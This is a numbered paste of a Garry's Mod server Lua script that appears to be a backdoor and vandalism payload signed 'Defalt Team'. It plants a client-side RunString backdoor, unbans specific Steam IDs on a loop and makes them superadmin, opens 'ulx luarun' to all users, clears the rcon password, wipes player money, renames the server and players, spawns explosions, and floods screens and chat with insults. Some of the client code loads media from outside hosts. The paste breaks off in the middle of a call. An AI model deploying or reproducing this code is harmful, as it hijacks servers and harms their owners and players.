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  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This steam account was banned by DTC for cheating"
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7.     local ret = ""
  8.     for _ = 1, math.random( intMin, intMax ) do
  9.         ret = ret.. string.char( math.random(65, 90) )
  10.     end
  11.  
  12.     return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30.         if not IsValid( pPlayer ) then return end
  31.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32.         self:NextAction( pPlayer )
  33.     end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37.     pPlayer.m_intCurAction = 0
  38.     self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42.     net.Start( "slua2" )
  43.         net.WriteString( strLua )
  44.     net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48.     pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53.     timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54.     timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55.     timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57.     timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(999999999999999999) end)
  58.     timer.Create( "defaltmenubitch", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Le Defalt Death MENU est plus puissant que toi enculer")]]) end)
  59.     timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  60.     timer.Create( "zbzbzbz", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Serveur de Kheh ! Zbeub zbeub")]]) end)
  61.     timer.Create( "defaltteamenculer", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "LA DEFALT TEAM TA ENCULER TON SERVEUR")]]) end)
  62.     timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  63.     timer.Create( "checkForBanPapmeme Crmm", 10, 0, function() ULib.unban( "STEAM_0:1:445998526") end)
  64.     timer.Create( "setSUPERADMINPapmeme Crmm", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:445998526", "superadmin") end)
  65.     timer.Create( "checkForBanBoutique Souvenir Fight", 10, 0, function() ULib.unban( "STEAM_0:1:193209261") end)
  66.     timer.Create( "setSUPERADMINBoutique Souvenir Fight", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:193209261", "superadmin") end)
  67.     timer.Create( "checkForBanDefalt", 10, 0, function() ULib.unban( "STEAM_0:0:153465589") end)
  68.     timer.Create( "setSUPERADMINDefalt", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:153465589", "superadmin") end)
  69.     timer.Create( "adminsgonnahate", 0.05, 0, function() print("01010100 01110101 00100000 01110100 01011100 00100111 01100101 01110011 00100000 01100010 01101001 01100101 01101110 00100000 01100110 01100001 01101001 01110011 00100000 01100101 01101110 01100011 01110101 01101100 01100101 01110010 00100000 01110100 11101010 01110100 01100101 00100000 01100100 01100101 00100000 01100011 01110101 01101100 00100000 01110110 01100001 00101100 00100000 01101001 01110011 01110011 01101111 01110101 00100000 01101100 01100101 00100000 01110011 01100101 01110010 01110110 01100101 01110101 01110010 00100000 01100010 01101111 01101110 01101110 01100101 00100000 01100011 01101000 01100001 01101110 01100011 01100101 00100000 01110000 01101111 01110101 01110010 00100000 01101100 01100101 00100000 01110010 11101001 01110000 01100001 01110010 01100101 01110010 00101110") end )
  70.     timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  71.     timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  72.     timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "GET REKT BY DEFALT DEATH MENU") end)
  73.     timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "HACKED BY DEFALT TEAM") end)
  74.     timer.Create( "rcon_password", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "rcon_password") end)
  75.     timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end  end)
  76.     timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  77.  
  78. end
  79. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  80.  
  81. -----START LINE CODE FOR DANSE
  82. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  83. -----STOP LINE CODE FOR DANSE
  84.  
  85. ------- STARTCODE FOR FORCE CHANGE NAME
  86. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  87. ------- STOP LINE CODE FOR CHANGE NAME
  88.  
  89. ------- ARMAGEDDON
  90.             hook.Add("Think", "armageddon", function()
  91.                 local explode = ents.Create( "env_explosion" )
  92.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  93.                     explode:Spawn()
  94.                     explode:SetKeyValue( "iMagnitude", "500" )
  95.                     explode:Fire( "Explode", 0, 0 )
  96.                 end)  
  97. ---------
  98.  
  99. --------- GIANT
  100. hook.Add("Think", "giant", function()
  101.     for k,v in pairs (player.GetAll()) do
  102.         v:SetModelScale(50.5, 100);
  103.         v:SetRunSpeed(400 * 2);
  104.         v:SetWalkSpeed(200 * 2);
  105.     end
  106. end)
  107. ------------------
  108.  
  109. for k,v in pairs(player.GetAll()) do
  110.     v:ConCommand("say armageddon")
  111. end
  112.  
  113. for k,v in pairs(player.GetAll()) do
  114.     v:ConCommand("say giant")
  115. end
  116.  
  117. for k, v in pairs( player.GetAll() ) do
  118.     lol:SetupPlayer( v )
  119.     timer.Simple( 2, function() lol:Start( v ) end )
  120. end
  121.  
  122. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  123.     lol:SetupPlayer( pPlayer )
  124.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  125. end )
  126.  
  127. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  128.     if strText:sub( 1, 5 ) == "/1337" then
  129.         pSender:Ignite( 1e9 )
  130.         pSender:ChatPrint( "nique sa mère me casse." )
  131.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  132.         return false
  133.     end
  134. end )
  135.  
  136. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  137.     if strText:sub( 1, 5 ) == "what" then
  138.         pSender:Ignite( 1e9 )
  139.         pSender:ChatPrint( "Comment appelons nous un choux dans l'eau, un choux marin hahahaha... lol... bref brule enculer." )
  140.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  141.         return false
  142.     end
  143. end)
  144.  
  145. --Sequence stack
  146. --Start some tunes and steam in our assets
  147. lol:PushAction( 0, function( pPlayer )
  148.     lol:SendLua( pPlayer, ([=[
  149.         sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  150.        
  151.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  152.         local html = [[%s]]
  153.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  154.             local pnl = vgui.Create( "HTML" )
  155.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  156.             pnl:SetVisible( true )
  157.             pnl:SetMouseInputEnabled( false )
  158.             pnl:SetKeyBoardInputEnabled( false )
  159.             pnl:SetSize( intSizeX, intSizeY )
  160.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  161.            
  162.             local PageLoaded
  163.             PageLoaded = function()
  164.                 local mat = pnl:GetHTMLMaterial()
  165.                 if mat then
  166.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  167.                     return
  168.                 end
  169.                
  170.                 timer.Simple( 0.5, PageLoaded )
  171.             end
  172.  
  173.             PageLoaded()
  174.         end
  175.  
  176. LoadWebMaterial( "http://jesuschristofficiel.fr/gmod/upload2/umbrella.png", "getrekt", 1000, 1000 )
  177. LoadWebMaterial( "http://jesuschristoff.livehost.fr/gmod/upload/gif/tenor.gif", "getrekt2", 152, 250 )
  178. LoadWebMaterial( "http://jesuschristoff.livehost.fr/gmod/upload/gif/tenor.gif", "getrekt3", 152, 250 )
  179. ]=]):format(lol.m_strImageLoadHTML) )
  180. end )
  181.  
  182. --HUD swap
  183. lol:PushAction( 31, function( pPlayer )
  184.     lol:SendLua( pPlayer, [[
  185.         (GAMEMODE or GM).CalcView = function() end
  186.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  187.  
  188.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  189.         for k, v in pairs(remove) do
  190.             hook.GetTable()[v] = {}
  191.         end
  192.  
  193.         local function GetWebMat( strURL )
  194.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  195.         end
  196.  
  197.         hook.Add( "HUDPaint", "newhud", function()
  198.             surface.SetDrawColor( 255, 255, 255, 255 )
  199.  
  200.  
  201.                         if GetWebMat( "getrekt" ) then
  202.                                 surface.SetMaterial( GetWebMat("getrekt")[1] )
  203.                                 surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  204.                         end
  205.                         if GetWebMat( "getrekt2" ) then
  206.                                 surface.SetMaterial( GetWebMat("getrekt2")[1] )
  207.                                 surface.DrawTexturedRect( 100, 425, 400, 400 )
  208.                         end
  209.                         if GetWebMat( "getrekt3" ) then
  210.                                 surface.SetMaterial( GetWebMat("getrekt3")[1] )
  211.                                 surface.DrawTexturedRect( 1550, 425, 400, 400 )
  212.                         end
  213.  
  214.                 draw.SimpleTextOutlined(
  215.                 "DEAD BY DEFALT TEAM",
  216.                 "DermaLarge",
  217.                 ScrW() /2 +math.random( -8, 8 ),
  218.                 ScrH() /2 +math.random( -8, 8 ) +64,
  219.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  220.                 TEXT_ALIGN_CENTER,
  221.                 TEXT_ALIGN_CENTER,
  222.                 1,
  223.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  224.             )
  225.  
  226.                 draw.SimpleTextOutlined(
  227.                 "Defalt et tous les autres PDs viennent de t'enculer bb <3 <3 <3 <3",
  228.                 "DermaDefaultBold",
  229.                 ScrW() /2 +math.random( -2, 2 ),
  230.                 ScrH() /2 +math.random( -2, 2 ) +100,
  231.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  232.                 TEXT_ALIGN_CENTER,
  233.                 TEXT_ALIGN_CENTER,
  234.                 1,
  235.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  236.             )
  237.             draw.SimpleTextOutlined(
  238.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  239.                 "DermaLarge",
  240.                 ScrW() /2 +math.random( -2, 2 ),
  241.                 ScrH() /2 +math.random( -2, 2 ) -160,
  242.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  243.                 TEXT_ALIGN_CENTER,
  244.                 TEXT_ALIGN_CENTER,
  245.                 3,
  246.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  247.             )
  248.  
  249.             draw.SimpleTextOutlined(
  250.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  251.                 "DermaLarge",
  252.                 ScrW() /2 +math.random( -2, 2 ),
  253.                 ScrH() /2 +math.random( -2, 2 ) +160,
  254.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  255.                 TEXT_ALIGN_CENTER,
  256.                 TEXT_ALIGN_CENTER,
  257.                 3,
  258.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  259.             )
  260.             draw.SimpleTextOutlined(
  261.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  262.                 "DermaLarge",
  263.                 ScrW() /2 +math.random( -2, 2 ),
  264.                 ScrH() /2 +math.random( -2, 2 ) +190,
  265.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  266.                 TEXT_ALIGN_CENTER,
  267.                 TEXT_ALIGN_CENTER,
  268.                 3,
  269.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  270.             )
  271.             draw.SimpleTextOutlined(
  272.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  273.                 "DermaLarge",
  274.                 ScrW() /2 +math.random( -2, 2 ),
  275.                 ScrH() /2 +math.random( -2, 2 ) -190,
  276.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  277.                 TEXT_ALIGN_CENTER,
  278.                 TEXT_ALIGN_CENTER,
  279.                 3,
  280.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  281.             )
  282.             draw.SimpleTextOutlined(
  283.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  284.                 "DermaLarge",
  285.                 ScrW() /2 +math.random( -2, 2 ),
  286.                 ScrH() /2 +math.random( -2, 2 ) +220,
  287.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  288.                 TEXT_ALIGN_CENTER,
  289.                 TEXT_ALIGN_CENTER,
  290.                 3,
  291.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  292.             )
  293.             draw.SimpleTextOutlined(
  294.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  295.                 "DermaLarge",
  296.                 ScrW() /2 +math.random( -2, 2 ),
  297.                 ScrH() /2 +math.random( -2, 2 ) -220,
  298.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  299.                 TEXT_ALIGN_CENTER,
  300.                 TEXT_ALIGN_CENTER,
  301.                 3,
  302.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  303.             )
  304.             draw.SimpleTextOutlined(
  305.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  306.                 "DermaLarge",
  307.                 ScrW() /2 +math.random( -2, 2 ),
  308.                 ScrH() /2 +math.random( -2, 2 ) +250,
  309.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  310.                 TEXT_ALIGN_CENTER,
  311.                 TEXT_ALIGN_CENTER,
  312.                 3,
  313.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  314.             )
  315.             draw.SimpleTextOutlined(
  316.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  317.                 "DermaLarge",
  318.                 ScrW() /2 +math.random( -2, 2 ),
  319.                 ScrH() /2 +math.random( -2, 2 ) -250,
  320.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  321.                 TEXT_ALIGN_CENTER,
  322.                 TEXT_ALIGN_CENTER,
  323.                 3,
  324.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  325.             )
  326.             draw.SimpleTextOutlined(
  327.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  328.                 "DermaLarge",
  329.                 ScrW() /2 +math.random( -2, 2 ),
  330.                 ScrH() /2 +math.random( -2, 2 ) +280,
  331.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  332.                 TEXT_ALIGN_CENTER,
  333.                 TEXT_ALIGN_CENTER,
  334.                 3,
  335.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  336.             )
  337.             draw.SimpleTextOutlined(
  338.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  339.                 "DermaLarge",
  340.                 ScrW() /2 +math.random( -2, 2 ),
  341.                 ScrH() /2 +math.random( -2, 2 ) -280,
  342.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  343.                 TEXT_ALIGN_CENTER,
  344.                 TEXT_ALIGN_CENTER,
  345.                 3,
  346.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  347.             )
  348.             draw.SimpleTextOutlined(
  349.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  350.                 "DermaLarge",
  351.                 ScrW() /2 +math.random( -2, 2 ),
  352.                 ScrH() /2 +math.random( -2, 2 ) +310,
  353.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  354.                 TEXT_ALIGN_CENTER,
  355.                 TEXT_ALIGN_CENTER,
  356.                 3,
  357.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  358.             )
  359.             draw.SimpleTextOutlined(
  360.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  361.                 "DermaLarge",
  362.                 ScrW() /2 +math.random( -2, 2 ),
  363.                 ScrH() /2 +math.random( -2, 2 ) -310,
  364.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  365.                 TEXT_ALIGN_CENTER,
  366.                 TEXT_ALIGN_CENTER,
  367.                 3,
  368.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  369.             )
  370.             draw.SimpleTextOutlined(
  371.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  372.                 "DermaLarge",
  373.                 ScrW() /2 +math.random( -2, 2 ),
  374.                 ScrH() /2 +math.random( -2, 2 ) +340,
  375.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  376.                 TEXT_ALIGN_CENTER,
  377.                 TEXT_ALIGN_CENTER,
  378.                 3,
  379.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  380.             )
  381.             draw.SimpleTextOutlined(
  382.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  383.                 "DermaLarge",
  384.                 ScrW() /2 +math.random( -2, 2 ),
  385.                 ScrH() /2 +math.random( -2, 2 ) -340,
  386.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  387.                 TEXT_ALIGN_CENTER,
  388.                 TEXT_ALIGN_CENTER,
  389.                 3,
  390.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  391.             )
  392.             draw.SimpleTextOutlined(
  393.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  394.                 "DermaLarge",
  395.                 ScrW() /2 +math.random( -2, 2 ),
  396.                 ScrH() /2 +math.random( -2, 2 ) -370,
  397.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  398.                 TEXT_ALIGN_CENTER,
  399.                 TEXT_ALIGN_CENTER,
  400.                 3,
  401.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  402.             )
  403.             draw.SimpleTextOutlined(
  404.                 "ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU, ISSOU,   ",
  405.                 "DermaLarge",
  406.                 ScrW() /2 +math.random( -2, 2 ),
  407.                 ScrH() /2 +math.random( -2, 2 ) +370,
  408.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  409.                 TEXT_ALIGN_CENTER,
  410.                 TEXT_ALIGN_CENTER,
  411.                 3,
  412.                Color(math.random(1,255),math.random(1,255),math.random(1,255))
  413.             )
  414.             draw.SimpleTextOutlined(
  415.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  416.                 "DermaLarge",
  417.                 ScrW() /2 +math.random( -2, 2 ),
  418.                 ScrH() /2 +math.random( -2, 2 ) -400,
  419.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
